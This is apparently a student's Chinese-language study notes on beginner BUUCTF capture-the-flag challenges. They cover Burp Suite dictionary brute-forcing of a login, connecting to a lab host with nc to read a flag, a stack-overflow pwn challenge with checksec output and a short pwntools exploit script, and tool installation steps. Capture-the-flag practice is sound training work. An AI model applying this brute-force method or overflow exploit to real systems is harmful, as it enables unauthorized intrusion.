1.学习网站
合天网安实验室-专业提供网络安全\信息安全在线实验服务的网络靶场 (hetianlab.com)
2.BUUCTF题目
2.1第一题,Brup Suite——Basic-BUU BRUTE 1
第一次使用软件的过程中,会出现各种各样的问题,百度一下,你就知道。
总结:该题主要是依靠字典进行爆破(破解),登录的过程有两个输入,分别是账户和密码。
爆破过程依次对账户和密码进行爆破,降低爆破过程的复杂度。
技巧1:爆破过程中不知道目标的Host和Port是啥,通过以下操作可以实现,简而言之:“Send to Intruder”,然后我们发现Host和Port其实是链接里的一部分。(可能学过web的手拿把掐)
原来的链接:http://57d63c4b-7b9b-42ec-8853-12076cada5d5.node4.buuoj.cn:81
Host:57d63c4b-7b9b-42ec-8853-12076cada5d5.node4.buuoj.cn
Port:81
参考:BUUCTF Brute 1使用BurpSuite爆破详解_bill_fang的博客-CSDN博客
2.2第二题,IDA(静态分析软件)——PWN--test_your_nc
整体思路:
- 通过nc远端连接靶场
- 用‘ls’命令查看文件是否包含‘flag’
- 发现包含‘flag’,直接使用cat flag命令得到‘flag’
输入命令:
nc node4.buuoj.cn 25579
ls
cat flag
参考3:IDA工具非常详细的使用说明(非常牛的一个博主,主页有学习路线推荐)
逆向工具之IDA的使用_ida 逆向_Wαff1ε的博客-CSDN博客https://blog.csdn.net/Waffle666/article/details/109753950
2.2第三题,IDA——PWN--rip1
整体思路:
- 通过nc链接远端靶场,ls命令发现并没有返回当前目录;
- 用pwntools下的checksec查看文件指令架构及保护机制,发现无栈保护->漏洞类型判断——栈溢出;
- IDA静态分析,查看具体的漏洞点。
- 构造exp,py程序。
1.nc连接,查看有没有flag
2.查看文件架构及保护机制
Arch(architecture):指令架构,64位
RELRO(relocation read only):重定位表只读,即.got和.plt。Partial RELRO,部分重定位只读。
Stack:No canary found,未发现栈保护,可以栈溢出。
NX/DEP(Non-Executable Memory):不可执行内存。
PIE/ASLR:开启ASLR(Address space layout randomization,地址空间布局随机化),通过将数据随机放置来防止攻击。
RWX(Read/Write/Execute):读、写、执行权限。
3.IDA静态分析
get()函数不限制输入字符的数量,可以无限输入,因此,该处是一个明显的栈溢出点!
转换为可读性较强的代码查看,网上大佬建议不要依赖于代码的可读性,因为有可能会在汇编转代码的过程中遗漏关键信息。因此,最好是直接查看汇编的源代码。
4.构造exp,查看输入s的字节长度为15
from pwn import *
p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)
p.interactive()
p64(0x401186)是返回的起始地址;
+1保证堆栈平衡(看了一些博客还没懂,师傅们可以留言解答一下);
‘a’前面的b是防止python3运行错误;
5.运行exp文件,得到flag
参考1(题解):(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客园 (cnblogs.com)
参考2(checksec说明):二进制的保护机制 (mamicode.com)
3.工具安装及使用
3.1 checksec安装与使用(安装了半天没弄好,pass,直接装pwntools,可以直接用checksec)
3.1.1.下载链接:
GitHub - slimm609/checksec.sh: Checksec.sh
3.1.2.命令使用
复制文件过程中,注意,cp 文件夹使用的时候加个-r,普通文件不用。
3.1.3.python3-pip3重新安装
wget https://bootstrap.pypa.io/get-pip.py
sudo python3 get-pip.py
pip3 -V
3.2 pwntools安装
安装的过程中遇到了各式各样的问题,也不知道是哪一步起了关键的作用,最后用了大佬文章内安装的步骤,重新试了一下。(注意这里我用了此前安装的pip3)
安装过程参考1:
kali安装pwntools_白衣w的博客-CSDN博客https://blog.csdn.net/wyj_1216/article/details/103627154
临时解决参考2:
nullhttps://www.cnblogs.com/pcat/p/5451780.html
pip3 install pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple/
测试结果(flonggo是我的用户名,kali是系统名)
3.3 IDA安装
kali2020.3 安装IDA freeware_不仅自己可见的博客-CSDN博客https://blog.csdn.net/live4dream/article/details/109176458